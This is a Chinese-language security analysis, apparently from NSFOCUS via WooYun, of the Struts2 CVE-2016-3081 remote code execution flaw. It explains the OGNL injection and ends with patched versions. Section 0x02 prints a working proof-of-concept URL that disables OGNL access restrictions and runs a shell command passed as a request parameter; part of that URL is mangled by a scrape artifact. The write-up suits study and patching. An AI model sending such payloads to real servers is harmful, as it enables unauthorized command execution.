作者:
綠盟科技
·
2016/04/26 18:07
0x00 漏洞簡述
2016年4月21日Struts2官方釋出兩個CVE,其中CVE-2016-3081官方評級為高。主要原因為在使用者開啟動態方法呼叫的情況下,會被攻擊者實現遠端程式碼執行攻擊。從我自己搜尋的情況來看,國內開啟這個功能的網站不在少數,所以這個“Possible Remote Code Execution”漏洞的被打的可能性還是很高的。
0x01 漏洞原理
直接進行版本比對,我們可以看到針對這個問題,只對DefaultActionMapper.java這個檔案進行了修改,修改內容如下:
我們可以看到只是把method成員變數的值進行了一次過濾,cleanupActionName這個方法是在對“action:”濫用的問題進行新增的,禁止了絕大多數的特殊字元。但是在後來的版本變更中忽略了之前的問題,將method也引入了Ongl表示式,程式碼在DefaultAction.java的invokeAction中:
#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
String methodName = proxy.getMethod();
if (LOG.isDebugEnabled()) {
LOG.debug("Executing action method = #0", methodName);
}
String timerKey = "invokeAction: " + proxy.getActionName();
try {
UtilTimerStack.push(timerKey);
Object methodResult;
try {
methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
我們可以看到methodName被帶入到getValue了,熟悉Struts相關漏洞的朋友應該都明白這是什麼意思,雖然後面被強制新增了一對圓括號,但是想辦法語法補齊就好了。相對應的我們來看下在2.3.18版本之前的程式碼是怎麼處理methodName的:
#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
String methodName = proxy.getMethod();
if (LOG.isDebugEnabled()) {
LOG.debug("Executing action method = #0", methodName);
}
String timerKey = "invokeAction: " + proxy.getActionName();
try {
UtilTimerStack.push(timerKey);
boolean methodCalled = false;
Object methodResult = null;
Method method = null;
try {
method = getAction().getClass().getMethod(methodName, EMPTY_CLASS_ARRAY);
在這裡使用的是反射,所以在這個漏洞釋出的時候,我曾一瞬間覺得又是一個騙CVE的雞肋,但是事實上,這是一個威脅很大的漏洞。但是官方說的受影響版本Struts 2.0.0 - Struts Struts 2.3.28 (except 2.3.20.2 and 2.3.24.2)
是不嚴謹的,應該是2.3.18-2.3.28(except 2.3.20.2 and 2.3.24.2)
。
0x02 漏洞利用
利用方式主要難點在於兩個地方,一個是上文提到的對於表示式最後的圓括號給予正確的表示式意義。另一個就是在傳輸過程中method會經過一次轉義,雙引號和單引號的沒有辦法使用了,所以需要找到一個繞過。剩下的就是原來套沙盒繞過,命令執行的那套東西了。
對於圓括號,可以直接使用new java.lang.String
這樣來拼接成new java.lang.String()
構成正確Ognl語法。
至於不能使用引號的話,命令執行我們可以使用引用引數的方法來完成對字串的提取,例如:使用#parameters.cmd來提取http的cmd引數。測試PoC如下:
http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@[email protected]_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@[email protected]_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String
效果如下圖所示:
這裡我小小的猜測一下,官方釋出的日期是20,而漏洞提交team做宣傳是在4月25日,那麼是不是在提交CVE時還沒有完成彈計算器的利用,還是為了符合漏洞提交規範做的延時?小八卦一下O(∩_∩)O。
0x03 漏洞總結
雖然現在CVE已經發布,但是從目前網路情況上(twitter和微博)來看,並沒有安全研究人員關注到這兩個CVE,可能是因為官方釋出過太多雞肋的CVE了,國內的各路炒洞高手已經對Struts2麻木了。所以目前的情況是屬於漏洞存在那裡,發了CVE,但是沒有任何人去研究利用,釋出相關分析。這個漏洞和Struts2前N次被炒的熱熱鬧鬧的漏洞影響和危害相比,真是不可同日而語,這個漏洞真的很實在。
看到這裡,打算磨拳擦掌要去調回顯PoC的朋友們,這裡我要在提醒一次。雖然我在之前說了存在這個問題的站點很多,但是這個漏洞存在版本限制,在Struts2.3.18及其以上的版本才可以觸發。而國內大多數的站點由於Struts在2.3.16之後再也沒有出現過大的問題,所以絕大多數停留在2.3.16這個版本,這讓這個看似很不錯的漏洞略顯雞肋了。
防護方案
目前官方已經推出了2.3.20.2、2.3.24.2
和2.3.28.1
修復了這個問題,大家可以針對自己所使用的版本進行升級。下載地址:https://struts.apache.org/download.cgi#struts23281
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!